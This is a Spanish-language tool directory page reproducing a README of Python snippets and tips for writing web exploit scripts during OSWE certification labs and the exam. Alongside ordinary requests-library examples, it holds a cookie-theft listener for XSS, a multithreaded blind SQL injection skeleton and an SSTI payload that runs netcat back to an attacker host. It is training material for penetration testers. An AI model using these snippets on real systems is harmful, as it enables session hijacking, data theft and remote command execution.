Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
exploit-writing-for-oswe — Tips on how to write exploit scripts (faster!) | Kitploit
Herramientas/GitHubGitHub/rizemon/exploit-writing-for-oswe
Scripting & AutomationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationCurated ResourcesPayload Development
GitHubrizemon/exploit-writing-for-oswe

exploit-writing-for-oswe

Tips on how to write exploit scripts (faster!)

Ver Repositorio
591112hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Escritura de Exploits para OSWE

Antecedentes

Qué

Este repositorio contiene una lista de fragmentos de código (snippets) y consejos útiles relacionados con la escritura de scripts de exploits en los laboratorios y el examen de certificación OSWE.

Algunos ejemplos aquí pueden ir en contra de ciertas prácticas de programación, pero nuestro objetivo final es escribir el script de exploit rápido y correctamente.

La sección Fragmentos de Código es un excelente punto de partida si no tienes experiencia usando la librería requests o eres nuevo en Python. De lo contrario, siéntete libre de ir directamente a la sección Código Reutilizable o a la sección Consejos.

Por qué

  • Si bien existen muchos write-ups, reseñas y notas sobre la certificación, pocos recursos se centran específicamente en el proceso de escribir exploits.
  • Escribir el script de exploit puede ser desalentador, especialmente para quienes son nuevos en Python o tienen poca experiencia interactuando con aplicaciones web a través de código.
  • El tiempo dedicado a identificar vulnerabilidades y documentar un informe de examen puede fluctuar considerablemente, pero el tiempo dedicado a desarrollar el script de exploit puede ser minimizado y mantenido constante si se domina bien.

Tabla de Contenidos

  • Escritura de Exploits para OSWE
    • Antecedentes
      • Qué
      • Por qué
    • Tabla de Contenidos
    • Fragmentos de Código
      • Plantilla Inicial
      • Imports útiles
      • Usando la librería requests
        • Enviando la petición HTTP más simple
        • Especificando diferentes métodos HTTP
        • Leyendo la respuesta HTTP
        • Enviando datos como query string en la URL (Usando el argumento params)
        • Enviando datos como query string en el cuerpo (Usando el argumento data)
        • Enviando datos como JSON en el cuerpo (Usando el argumento json)
        • Enviando un archivo en el cuerpo (Usando el argumento files)
        • Configurando cabeceras HTTP (Usando el argumento headers)
        • Configurando cookies HTTP (Usando el argumento cookies)

Fragmentos de Código

Plantilla Inicial

root@kitploit:~
import requests

def main():
    print("Hello World!")

if __name__ == __main__:
    main()

Imports útiles

root@kitploit:~
# For sending HTTP requests
import requests

# For Base64 encoding/decoding
from base64 import b64encode, b64decode, urlsafe_b64encode, urlsafe_b64decode

# For getting current time or for calculating time delays
from time import time

# For regular expressions
import re

# For running shell commands
import subprocess

# For multithreading
from concurrent.futures import ThreadPoolExecutor

# For running a HTTP server in the background
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler

# For parsing HTTP cookies
from http import cookies

# For getting command-line arguments
import sys

Usando la librería requests

Enviando la petición HTTP más simple

root@kitploit:~
resp_obj = requests.get("https://github.com")

Especificando diferentes métodos HTTP

root@kitploit:~
# GET method
requests.get("https://github.com")

# POST method
requests.post("https://github.com")

# PUT method
requests.put("https://github.com")

# PATCH method
requests.patch("https://github.com")

# DELETE method
requests.delete("https://github.com")

Leyendo la respuesta HTTP

root@kitploit:~
resp_obj = requests.get("https://github.com")

# HTTP status code (e.g 404, 500, 301)
resp_obj.status_code

# HTTP response headers (e.g Location, Content-Disposition)
resp_obj.headers["Location"]

# Body as bytes
resp_obj.content

# Body as a string
resp_obj.text

# Body as a dictionary (if body is a JSON)
resp_obj.json()

Enviando datos como query string en la URL (Usando el argumento params)

root@kitploit:~
params = {
    "foo": "bar"
}

requests.get("https://github.com", params=params)

Enviando datos como query string en el cuerpo (Usando el argumento data)

root@kitploit:~
data = {
    "foo": "bar"
}

requests.post("https://github.com", data=data)

Enviando datos como JSON en el cuerpo (Usando el argumento json)

root@kitploit:~
data = {
    "foo": "bar"
}

requests.post("https://github.com", json=data)

Enviando un archivo en el cuerpo (Usando el argumento files)

root@kitploit:~
files = {
    #                (FILE_NAME, FILE_CONTENTS, FILE_MIMETYPE)
    "uploaded_file": ("phpinfo.php", b"<?php phpinfo() ?>", "application/x-httpd-php")
}

requests.post("https://github.com", files=files)

Configurando cabeceras HTTP (Usando el argumento headers)

root@kitploit:~
headers = {
    "X-Forwarded-For": "127.0.0.1"
}

requests.get("https://github.com", headers=headers)

Configurando cookies HTTP (Usando el argumento cookies)

root@kitploit:~
cookies = {
    "PHPSESSID": "fakesession"
}

requests.get("https://github.com", cookies=cookies)

Deshabilitando el seguimiento de redirecciones 3XX (Usando el argumento allow_redirects)

root@kitploit:~
requests.post("https://github.com/login", allow_redirects=False)

Interactuando con un servidor HTTPS no verificado (Usando el argumento verify)

root@kitploit:~
# Supresses InsecureRequestWarning messages
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

requests.get("https://github.com", verify=False)

Enviando peticiones a través de un proxy HTTP (Usando el argumento proxies)

root@kitploit:~
proxies = {
    "HTTP": "http://127.0.0.1:8080",
    "HTTPS": "http://127.0.0.1:8080"
}

requests.get("https://github.com", proxies=proxies)

Creando una Session

root@kitploit:~
session = requests.Session()
session.get("https://github.com")

Configurando cookies persistentes

root@kitploit:~
session = requests.Session()
session.cookies.update({"PHPSESSID": "fakesession"})

Configurando cabeceras persistentes

root@kitploit:~
session = requests.Session()
session.headers["Authorization"] = "Basic 123"

Solución de problemas

Usa Wireshark y filtra las peticiones HTTP

  1. Abre Wireshark
  2. Selecciona la interfaz VPN (p. ej. tun0)
  3. Introduce http en la barra de filtros.

Imprime el contenido de la petición HTTP

root@kitploit:~
data = {
    "foo": "bar"
}
resp_obj = requests.post("https://github.com", data=data)
prepared_request = resp_obj.request

print("Method:\n", prepared_request.method)
print()
print("URL:\n", prepared_request.url)
print()
print("Headers:\n", prepared_request.headers)
print()
print("Body:\n", prepared_request.body)

Envía la petición HTTP a través del proxy de Burp Suite e inspecciónala

  1. Abre Burp Suite
  2. Ve a la pestaña "Proxy" y pon "Intercept" en "On".

Código reutilizable

Sirviendo archivos vía HTTP

root@kitploit:~
LHOST      = "10.0.0.1"
WEB_PORT   = 8000
JS_PAYLOAD = "<script>alert(1)</script>"

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):
        # Uncomment this method to suppress HTTP logs
        # def log_message(self, format, *args):
        #     return

        def do_GET(self):
            if self.path.endswith('/payload.js'):
                self.send_response(200)
                self.send_header("Content-Type", "application/javascript")
                self.send_header("Content-Length", str(len(JS_PAYLOAD)))
                self.end_headers()
                self.wfile.write(JS_PAYLOAD.encode())
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()

Robando cookies HTTP

root@kitploit:~
LHOST      = "10.0.0.1"
WEB_PORT   = 8000

requests = requests.Session()
xss_event = threading.Event() # Signifies when victim sends their cookie

def send_xss_payload():
    pass

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):

        def do_GET(self):
            self.send_response(200)
            self.end_headers()

            # Load stolen cookie into session
            _, enc_cookie = self.path.split("/?cookie=", 1)
            plain_cookie = urlsafe_b64decode(enc_cookie).decode()
            session.cookies["PHPSESSID"] = cookies.SimpleCookie(plain_cookie)["PHPSESSID"]

            xss_event.set() # Trigger the event
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()
send_xss_payload()
xss_event.wait() # Wait for event to be triggered
print("[+] Stolen cookie:", session.cookies["PHPSESSID"])

Acelerando inyecciones SQL

root@kitploit:~
MAX_WORKERS = 20
HASH_LENGTH = 32

def exfiltrate_hash():

    def boolean_sqli(arguments):
        idx, ascii_val = arguments
        # ...
        # Perform SQLi and store boolean outcome into truth
        # ...
        return ascii_val, truth

    result = ""

    # Go through each character position
    for idx in range(HASH_LENGTH):

        # Use MAX_WORKERS threads to test possible ASCII values in parallel
        with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
            # Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()
            responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])

        # Go through each response and determine which ASCII value is correct
        for ascii_val, truth in responses:
            if truth:
                result += chr(ascii_val)
                break
    
    return result

hash = exfiltrate_hash()

Consejos

Realiza una comprobación de sanidad después de cada petición HTTP usando assert

  • Comprueba si una webshell se subió de verdad antes de intentar ejecutarla
  • Comprueba si la autenticación fue exitosa antes de explotar funcionalidades autenticadas

Ejemplo:

root@kitploit:~
# Suppose 302 is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data, allow_redirect=False)
assert resp_obj.status_code == 302, "Login not successful"

# Suppose admin page is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data)
assert "Admin Dashboard" in resp_obj.content, "Login not successful"

Imprime mensajes significativos después de cada paso

  • Acción que se está iniciando/finalizando O
  • Cookies/tokens/archivos/valores que fueron obtenidos

Ejemplo:

root@kitploit:~
[+] Parsed command-line arguments and got:
  * BASE_URL: http://example.com
  * LHOST:    127.0.0.1
  * LPORT:    1337
[+] Triggered password reset token generation
[=] Getting password reset token length...
[+] Got password reset token length: 10
[=] Retrieving password reset token...
[+] Got password reset token: FAKE_TOKEN

Separa cada paso de explotación en su propia función

Ejemplo:

root@kitploit:~
def register():
    pass

def login():
    pass

def rce():
    pass

Crea un objeto Session global para que no tenga que pasarse explícitamente a cada llamada de función

root@kitploit:~
session = requests.Session()

def login():
    session.post(...)

def rce():
    session.post(...)

Crea una cadena global BASE_URL y construye las URLs necesarias a partir de ella

root@kitploit:~
BASE_URL = ""
session = requests.Session()

def login():
    url = BASE_URL + "/login"
    session.post(url, ...)

def rce():
    url = BASE_URL + "/rce"
    session.post(url, ...)

def main():
    # Allow BASE_URL to be modified
    global BASE_URL
    BASE_URL = sys.argv[1]
...

Para forzar que todas las peticiones HTTP pasen por Burp Suite sin usar el argumento proxies, define la variable de entorno HTTP_PROXY / HTTPS_PROXY al ejecutar

root@kitploit:~
$ HTTP_PROXY=http://127.0.0.1:8080 python3 poc.py

Aplica esquemas de codificación/decodificación para permitir la transmisión segura de payloads

  • Base64
  • Hexadecimal

Usa """ para crear la cadena del payload si contiene tanto comillas simples (') como comillas dobles (")

Ejemplo:

root@kitploit:~
payload = """This is a '. This is a "."""

Acelera las inyecciones SQL usando multithreading

Ver Acelerando inyecciones SQL.

Fija (hardcodea) la cookie de un usuario autenticado al desarrollar exploits para funcionalidades autenticadas

Especialmente si se tuvieron que realizar muchos pasos que consumen tiempo para obtener una sesión autenticada

Ejemplo:

root@kitploit:~
session = requests.Session()

def main():
    # Skipping these for now...
    # register()
    # login()

    # TODO: Delete this line after you are
    # done developing and uncomment the above steps!
    session.cookies["JSESSIONID"] = "ADMIN_COOKIE"

    # Exploit authenticated features...
...

Evita usar f-strings (f"") o str.format si el payload contiene demasiadas llaves ({})

Duplicar cada llave solo para escaparlas puede ser problemático y propenso a errores. En su lugar, usa placeholders (marcadores de posición) simples y haz un .replace()!

Ejemplo:

root@kitploit:~
# Too many curly braces
ssti_payload = f"{{{{ __import__('os').system('nc {LHOST} {LPORT}') }}}}"
# Much easier to read
ssti_payload = "{{ __import__('os').system('nc <LHOST> <LPORT>') }}"\
    .replace("<LHOST>", LHOST)\
    .replace("<LPORT>", LPORT)
Descargar herramienta
  • Deshabilitando el seguimiento de redirecciones 3XX (Usando el argumento allow_redirects)
  • Interactuando con un servidor HTTPS no verificado (Usando el argumento verify)
  • Enviando peticiones a través de un proxy HTTP (Usando el argumento proxies)
  • Creando una Session
  • Configurando cookies persistentes
  • Configurando cabeceras persistentes
  • Solución de problemas
    • Usa Wireshark y filtra las peticiones HTTP
    • Imprime el contenido de la petición HTTP
    • Envía la petición HTTP a través del proxy de Burp Suite e inspecciónala
  • Código reutilizable
    • Sirviendo archivos vía HTTP
    • Robando cookies HTTP
    • Acelerando inyecciones SQL
  • Consejos
    • Realiza una comprobación de sanidad después de cada petición HTTP usando assert
    • Imprime mensajes significativos después de cada paso
    • Separa cada paso de explotación en su propia función
    • Crea un objeto Session global para que no tenga que pasarse explícitamente a cada llamada de función
    • Crea una cadena global BASE_URL y construye las URLs necesarias a partir de ella
    • Para forzar que todas las peticiones HTTP pasen por Burp Suite sin usar el argumento proxies, define la variable de entorno HTTP_PROXY / HTTPS_PROXY al ejecutar
    • Aplica esquemas de codificación/decodificación para permitir la transmisión segura de payloads
    • Usa """ para crear la cadena del payload si contiene tanto comillas simples (') como comillas dobles (")
    • Acelera las inyecciones SQL usando multithreading
    • Fija (hardcodea) la cookie de un usuario autenticado al desarrollar exploits para funcionalidades autenticadas
    • Evita usar f-strings (f"") o str.format si el payload contiene demasiadas llaves ({})